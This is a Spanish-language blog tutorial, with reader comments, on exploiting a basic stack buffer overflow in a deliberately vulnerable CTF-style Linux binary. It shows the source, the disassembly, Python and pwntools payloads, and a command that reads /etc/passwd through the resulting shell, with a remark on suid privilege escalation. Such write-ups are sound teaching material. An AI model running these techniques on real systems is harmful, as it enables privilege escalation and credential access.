Taller de exploiting: BOF básico en Linux - análisis estático (1/2)

Voy a retomar el tema del exploiting con una serie de artículos "random", esta vez con uno en Linux de los más básicos y típicos que podemos encontrarnos. Me basaré en uno de un taller de kablaa en que tendremos que explotar un binario cuyo código fuente es el siguiente:
#include <stdio.h>
#include <stdlib.h> 

int main(int argc, const char *argv[])
{
    int correct = 0;
    char bof[64];

    scanf("%s",bof);

    if(correct != 0xdeadbeef)
    {
        puts("you suck!\n");
        exit(0);
    }
    puts("you win!\n");
    system("/bin/sh");

    return 0;
}

Evidentemente en un CTF no se nos facilitará nada más que el binario compilado, pero para este ejercicio lo usaremos primero para entender mejor el típico desbordamiento de buffer.

Como podéis ver en el código, se inicializa el entero 'correct' a 0 pero el programa admite como único parámetro la cadena 'bof' que será proporcionada como argumento directamente a la función main. Luego la función scanf con el especificador %s leerá los caracteres de la cadena hasta encontrar un espacio, un intro, un tabulador, un tabulador vertical o un retorno de carro, y añadirá automáticamente el carácter nulo al final (como sabréis, una cadena o string en C se define como un array de caracteres que termina siempre en un byte null (\0)).

Sin embargo, es muy peligroso usar scanf para leer cadenas, pues scanf no tiene en cuenta la longitud y admitirá que el usuario escriba más caracteres que lo que el array definido en el programa pueda admitir (64 en este caso). Como resultado, scanf escribirá los caracteres que ya no quepan en el array definido en otras porciones de memoria que pueden contener otros datos que está usando nuestro programa, y ahí es donde tenemos que sobre escribir el valor de la variable 'correct' y asignarle el valor 0xdeadbeef para que ejecute la función system.

El primer paso para completar cualquier reto con binarios es ejecutar primero el programa y ver qué hace. Por lo tanto vamos a compilar el programa para comprobarlo (deshabilitaremos las protecciones de la pila para la PoC):
$ gcc -Wall bof2.c -o bof2 -g -fno-stack-protector

La primera ejecución muestra una salida correcta del programa:
$ python -c 'print("A"*40)' | ./bof2
you suck!

Pero si desbordamos el parámetro con un mayor número de caracteres obtendremos el fallo de segmentación:
$ python -c 'print("A"*400000000)' | ./bof2
Traceback (most recent call last):
  File "", line 1, in 
IOError: [Errno 32] Broken pipe
Violación de segmento (`core' generado)

Lo que haremos a continuación es obtener el código en ensamblador para tener una idea del diseño del programa. En este caso no nos hará falta ver dónde debemos establecer nuestros breakpoints en gdb porque el ejercicio se puede resolver fácilmente y únicamente a través del análisis estático. Así que obtendremos el asm:
$ objdump -d -M intel bof2 > bof2.asm

Ahora, echando un ojo al main hay algunos detalles que llaman la atención:
80484b9:       83 ec 54                sub    esp,0x54
80484bc:       c7 45 f4 00 00 00 00    mov    DWORD PTR [ebp-0xc],0x0
80484c3:       83 ec 08                sub    esp,0x8

La primera línea resta 0x54 (84 bytes) de esp para crear espacio para las variables. Luego crea una variable en la dirección de ebp-0xc (12 bytes) y almacena el valor 0. Después, resta 0x8 (8 bytes) de esp, aunque para el ejercicio en cuestión no es determinante. Veamos el siguiente bloque:
80484c6:       8d 45 b4                lea    eax,[ebp-0x4c]
80484c9:       50                      push   eax
80484ca:       68 c0 85 04 08          push   0x80485c0
80484cf:       e8 cc fe ff ff          call   80483a0 

Aquí vemos en acción la función scanf. La primera línea se carga en la dirección de ebp-0x4c en el registro eax y luego pushea eax a la parte superior de la pila, lo que indica que se está utilizando como un parámetro para scanf. La tercera línea está pusheando un segundo parámetro en la pila. En GDB se puede usar x 0x80456c0 para encontrar el valor de esa dirección que resulta ser %s. Luego, finalmente, se llama a la función con los parámetros y, por lo tanto, la cadena que metemos en el buffer se almacena en la dirección de ebp-0x4c.

Dado que se trata de una vulnerabilidad de desbordamiento de búfer, podemos esperar encontrar algún tipo de valor para sobrescribir, lo que significa que hay una dirección arriba [epb-0x4c] que necesitamos desbordar.
80484d7:       81 7d f4 ef be ad de    cmp    DWORD PTR [ebp-0xc],0xdeadbeef
80484de:       74 1a                   je     80484fa 

Aquí está la comparación que queremos hacer verdadera, compara el valor en la dirección de [ebp-0xc] a 0xdeadbeef y salta si es igual.

El resumen sería:

address Value
ebp - 0x5c junk value
8 bytes
ebp - 0x4c scan
64 bytes
ebp - 0xC 0
12 bytes
ebp

Con un desbordamiento de búfer, necesitamos sobreescribir 0xC con el valor 0xdeadbeef, para hacer eso necesitamos escribir un búfer para llenar los valores entre 0x4c y 0xC. Al mirar la tabla, se puede ver que es exactamente 64 bytes y luego poner 0xdeadbeef. Por lo tanto, nuestro payload será muy fácil de crear con Python:
$ (python -c "print 'A' * 64 + '\xef\xbe\xad\xde'") | ./bof2
you win!

Como veis hemos introducido la cadena al revés, en formato little endian, y ya lo tenemos. Dado el programa y si el binario tiene el bit suid activado podemos ejecutar una shell o cualquier comando con privilegios elevados:
$ (python -c "print 'A' * 64 + '\xef\xbe\xad\xde'";/bin/echo cat /etc/passwd) | ./bof2
you win!

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
....

Y si te gusta pwntools pues podemos usarlo también directamente:
$ python -c "from pwn import *; print ('a' * 64) + p32(0xdeadbeef)" | ./bof2
you win!

Y hasta aquí el writeup mediante análisis estático. En la siguienne entrada haremos el mismo ejercicio pero usando el debugger gdb para ir cogiendo soltura.

¿Acompañas a este newbie en el aprendizaje del exploting en Linux?

Referencias:

Comentarios

  1. Buen tutorial. Seria bueno que muestras conceptualmente al stack frame

    ResponderEliminar
    Respuestas
    1. Buenas! te refieres a como en el post https://www.hackplayers.com/2017/10/taller-de-iniciacion-al-exploiting-1.html ?

      Eliminar
  2. Me mola este tipo de posts. Bien jugado Vicente

    ResponderEliminar
  3. Sisi igual a ese. No habia visto ese articulo

    ResponderEliminar
  4. Sencillito pero bien explicado para coger la idea principal y aprender el concepto del BOF. Yo añadiría por qué si el buffer es de 64 es necesario meter tantas Aes para que pete y saber que tiene un BOF, es algo que a muchos le generá duda, porque lo suyo es que pete al pasar de 64 bytes.

    ResponderEliminar

Publicar un comentario